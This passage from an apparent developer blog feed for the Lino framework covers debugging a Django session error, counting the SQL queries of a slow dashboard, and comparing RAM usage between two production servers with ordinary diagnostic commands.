&lt;span class="mi"&gt;202106&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt; &lt;span class="mi"&gt;06&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;26&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;25&lt;/span&gt; &lt;span class="n"&gt;WARNING&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;log&lt;/span&gt; &lt;span class="mi"&gt;7902&lt;/span&gt; &lt;span class="mi"&gt;140385269999488&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;The&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;s session was deleted before the request completed. The user may have logged out in a concurrent request, for example.: /api/comments/CommentsByRFC&lt;/span&gt;
&lt;span class="n"&gt;Traceback&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;most&lt;/span&gt; &lt;span class="n"&gt;recent&lt;/span&gt; &lt;span class="n"&gt;call&lt;/span&gt; &lt;span class="n"&gt;last&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;.../env/lib/python3.7/site-packages/django/contrib/sessions/backends/db.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;87&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;save&lt;/span&gt;
    &lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;save&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;force_insert&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;must_create&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;force_update&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;must_create&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;using&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;using&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;.../env/lib/python3.7/site-packages/django/db/models/base.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;727&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;save&lt;/span&gt;
    &lt;span class="n"&gt;force_update&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;force_update&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;update_fields&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;update_fields&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;.../env/lib/python3.7/site-packages/django/db/models/base.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;765&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;save_base&lt;/span&gt;
    &lt;span class="n"&gt;force_update&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;using&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;update_fields&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;.../env/lib/python3.7/site-packages/django/db/models/base.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;848&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;_save_table&lt;/span&gt;
    &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="n"&gt;DatabaseError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Forced update did not affect any rows.&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;django&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;db&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;utils&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;DatabaseError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Forced&lt;/span&gt; &lt;span class="n"&gt;update&lt;/span&gt; &lt;span class="n"&gt;did&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;affect&lt;/span&gt; &lt;span class="nb"&gt;any&lt;/span&gt; &lt;span class="n"&gt;rows&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;

&lt;span class="n"&gt;During&lt;/span&gt; &lt;span class="n"&gt;handling&lt;/span&gt; &lt;span class="n"&gt;of&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;above&lt;/span&gt; &lt;span class="n"&gt;exception&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;another&lt;/span&gt; &lt;span class="n"&gt;exception&lt;/span&gt; &lt;span class="n"&gt;occurred&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;

&lt;span class="n"&gt;Traceback&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;most&lt;/span&gt; &lt;span class="n"&gt;recent&lt;/span&gt; &lt;span class="n"&gt;call&lt;/span&gt; &lt;span class="n"&gt;last&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;.../env/lib/python3.7/site-packages/django/contrib/sessions/middleware.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;61&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;process_response&lt;/span&gt;
    &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;session&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;save&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;.../env/lib/python3.7/site-packages/django/contrib/sessions/backends/db.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;94&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;save&lt;/span&gt;
    &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="n"&gt;UpdateError&lt;/span&gt;
&lt;span class="n"&gt;django&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;contrib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sessions&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;backends&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;base&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;UpdateError&lt;/span&gt;

&lt;span class="n"&gt;During&lt;/span&gt; &lt;span class="n"&gt;handling&lt;/span&gt; &lt;span class="n"&gt;of&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;above&lt;/span&gt; &lt;span class="n"&gt;exception&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;another&lt;/span&gt; &lt;span class="n"&gt;exception&lt;/span&gt; &lt;span class="n"&gt;occurred&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;

&lt;span class="n"&gt;Traceback&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;most&lt;/span&gt; &lt;span class="n"&gt;recent&lt;/span&gt; &lt;span class="n"&gt;call&lt;/span&gt; &lt;span class="n"&gt;last&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;.../env/lib/python3.7/site-packages/django/core/handlers/exception.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;47&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;inner&lt;/span&gt;
    &lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;get_response&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;.../env/lib/python3.7/site-packages/django/utils/deprecation.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;119&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="fm"&gt;__call__&lt;/span&gt;
    &lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;process_response&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;.../env/lib/python3.7/site-packages/django/contrib/sessions/middleware.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;64&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;process_response&lt;/span&gt;
    &lt;span class="s2"&gt;&amp;quot;The request&amp;#39;s session was deleted before the &amp;quot;&lt;/span&gt;
&lt;span class="n"&gt;django&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;contrib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sessions&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;exceptions&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SessionInterrupted&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;The&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;s session was deleted before the request completed. The user may have logged out in a concurrent request, for example.&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;In &lt;a class="reference external" href="https://stackoverflow.com/questions/46982576/the-requests-session-was-deleted-before-the-request-completed-the-user-may-hav"&gt;this thread on stackoverflow&lt;/a&gt;
they suggest miscellaneous explanations, but none of them seems to apply here.
Jane uses the database for storing sessions, and I am quite sure that I didn’t
log out in some other tab.&lt;/p&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;django.conf&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;settings&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;settings&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SESSION_ENGINE&lt;/span&gt;
&lt;span class="go"&gt;&amp;#39;django.contrib.sessions.backends.db&amp;#39;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;dl&gt;
&lt;dt&gt;::&lt;/dt&gt;&lt;dd&gt;&lt;p&gt;$ pip freeze | grep Django
Django==3.2.4&lt;/p&gt;
&lt;p&gt;$ pip install -U mysqlclient Django
Requirement already satisfied: mysqlclient in ./env/lib/python3.7/site-packages (2.0.3)
Requirement already satisfied: Django in ./env/lib/python3.7/site-packages (3.2.4)
Requirement already satisfied: sqlparse&amp;gt;=0.2.2 in ./env/lib/python3.7/site-packages (from Django) (0.4.1)
Requirement already satisfied: pytz in ./env/lib/python3.7/site-packages (from Django) (2021.1)
Requirement already satisfied: asgiref&amp;lt;4,&amp;gt;=3.3.2 in ./env/lib/python3.7/site-packages (from Django) (3.3.4)
Requirement already satisfied: typing-extensions in ./env/lib/python3.7/site-packages (from asgiref&amp;lt;4,&amp;gt;=3.3.2-&amp;gt;Django) (3.7.4.3)&lt;/p&gt;
&lt;/dd&gt;
&lt;/dl&gt;
&lt;p&gt;Actually the first problem in above traceback is &lt;cite&gt;DatabaseError: Forced update
did not affect any rows&lt;/cite&gt;, when something tries to save the current session.&lt;/p&gt;
&lt;p&gt;The following line of the traceback looks interesting:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;.../python3.7/site-packages/django/utils/deprecation.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;119&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="fm"&gt;__call__&lt;/span&gt;
  &lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;process_response&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;That code uses asyncio, so I wonder whether the problems might come because the
notify plugin uses &lt;cite&gt;asgiref.sync.async_to_sync&lt;/cite&gt;. But hasn’t it been doing that
already earlier? That question remains open for my next session.&lt;/p&gt;
&lt;p&gt;I create a new comment “new comment for testing” and click “Create”. Sometimes
it works and sometimes it doesn’t work. When it doesn’t work, then it actually
did create the comment, but&lt;/p&gt;
&lt;p&gt;The problem seems to have disappeared after setting
&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.site.Site.use_multiprocessing&lt;/span&gt;&lt;/code&gt; to &lt;cite&gt;False&lt;/cite&gt;.&lt;/p&gt;
&lt;p&gt;Just as a reminder, here are the new features Lino on which we are working&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;push api&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;use multiprocessing when notifying others&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;dashboard layouts&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;delayed values&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;sync google api for calendar and contacts&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;optimizations of react front end&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0616.html</guid><pubDate>Wed, 16 Jun 2021 00:00:00 +0000</pubDate></item><item><title>New DashboardLayouts make things slow</title><link>https://luc.lino-framework.org/blog/2021/0615.html</link><description>&lt;section id="new-dashboardlayouts-make-things-slow"&gt;
&lt;h1&gt;New DashboardLayouts make things slow&lt;a class="headerlink" href="#new-dashboardlayouts-make-things-slow" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Tuesday, June 15, 2021&lt;/p&gt;
&lt;p&gt;In order to understand the cause of &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/4207"&gt;#4207&lt;/a&gt;,  I wrote a
testing page &lt;a class="reference external" href="https://dev.lino-framework.org/tested/dashboard_sql.html#book-tested-dashboard-sql" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Exploring SQL activity of new dashboard&lt;/span&gt;&lt;/a&gt;
&lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;book/docs/apps/noi/sql_dashboard.rst&lt;/span&gt;&lt;/code&gt;, which activates SQL logging, then renders
the dashboard, and then shows the number of database queries that were executed.&lt;/p&gt;
&lt;p&gt;New feature for &lt;a class="reference external" href="https://dev.lino-framework.org/dev/doctests.html#term-tested-document" title="(in Lino Developer Guide)"&gt;&lt;span class="xref std std-term"&gt;tested documents&lt;/span&gt;&lt;/a&gt;:
&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.requests.BaseRequest.show()&lt;/span&gt;&lt;/code&gt;
now supports showing a &lt;a class="reference external" href="https://using.lino-framework.org/basics/index.html#term-detail-window" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;detail window&lt;/span&gt;&lt;/a&gt;.
Side effects:
&lt;a class="reference external" href="https://dev.lino-framework.org/src/lino/core/site.html#lino.core.site.Site.get_main_html" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.site.Site.get_main_html()&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; now takes an &lt;cite&gt;ar&lt;/cite&gt; instead of a &lt;cite&gt;request&lt;/cite&gt;.
New method &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.modlib.jinja.html#lino.modlib.jinja.Plugin.render_from_ar" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.jinja.Plugin.render_from_ar()&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.
New method &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.core.renderer.html#lino.core.renderer.HtmlRenderer.show_detail" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.renderer.HtmlRenderer.show_detail()&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.
The output of &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.api.doctest.html#lino.api.doctest.show_dashboard" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.api.doctest.show_dashboard()&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; now uses the tex renderer
instead of the site’s default renderer.&lt;/p&gt;
&lt;p&gt;Note that all this does not yet even try to fix the &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/4207"&gt;#4207&lt;/a&gt; issue. My
plan is to use these new features on the production site where I plan to
&lt;a class="reference external" href="https://dev.lino-framework.org/ref/commands/run.html#command-pm-run" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;pm&lt;/span&gt; &lt;span class="pre"&gt;run&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; the following script:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;lino.api.doctest&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;
&lt;span class="n"&gt;reset_sql_queries&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;rt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;login&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;robin&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;show&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;system.Dashboard&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;show_sql_summary&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0615.html</guid><pubDate>Tue, 15 Jun 2021 00:00:00 +0000</pubDate></item><item><title>Sunday, June 13, 2021</title><link>https://luc.lino-framework.org/blog/2021/0613.html</link><description>&lt;section id="sunday-june-13-2021"&gt;
&lt;h1&gt;Sunday, June 13, 2021&lt;a class="headerlink" href="#sunday-june-13-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;The new dashboard in Jane is still slow,
and if often goes into “502 Bad Gateway” mode.
This time I triggered 502 by deleting a ticket.&lt;/p&gt;
&lt;p&gt;I consult &lt;a class="reference external" href="https://hosting.lino-framework.org/ram/#admin-ram" title="(in Lino Hosting Guide)"&gt;&lt;span&gt;Analyzing RAM usage&lt;/span&gt;&lt;/a&gt; and then compare Jane with another production site
that is not slow.&lt;/p&gt;
&lt;p&gt;Output of &lt;cite&gt;ps -e -orss=,args= |awk ‘{print $1 “ “ $2 }’| awk
‘{tot[$2]+=$1;count[$2]++} END {for (i in tot) {print tot[i],i,count[i]}}’ |
sort -n&lt;/cite&gt;&lt;/p&gt;
&lt;p&gt;On Jane:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="mi"&gt;22784&lt;/span&gt; &lt;span class="n"&gt;postgres&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;6&lt;/span&gt;
&lt;span class="mi"&gt;24336&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;libreoffice&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;program&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;soffice&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;bin&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="mi"&gt;29204&lt;/span&gt; &lt;span class="n"&gt;smtpd&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;
&lt;span class="mi"&gt;37668&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;systemd&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;systemd&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;journald&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="mi"&gt;114352&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;sbin&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;mysqld&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="mi"&gt;130680&lt;/span&gt; &lt;span class="n"&gt;python&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="mi"&gt;964544&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nb"&gt;bin&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;uwsgi&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;On the other production site:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="mi"&gt;71908&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;libreoffice&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;program&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;soffice&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;bin&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="mi"&gt;121340&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;sbin&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;mysqld&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="mi"&gt;136868&lt;/span&gt; &lt;span class="n"&gt;python&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="mi"&gt;1289172&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nb"&gt;bin&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;uwsgi&lt;/span&gt; &lt;span class="mi"&gt;11&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Output of &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;top&lt;/span&gt;&lt;/code&gt; (and then &lt;kbd class="kbd docutils literal notranslate"&gt;M&lt;/kbd&gt;) on Jane:&lt;/p&gt;
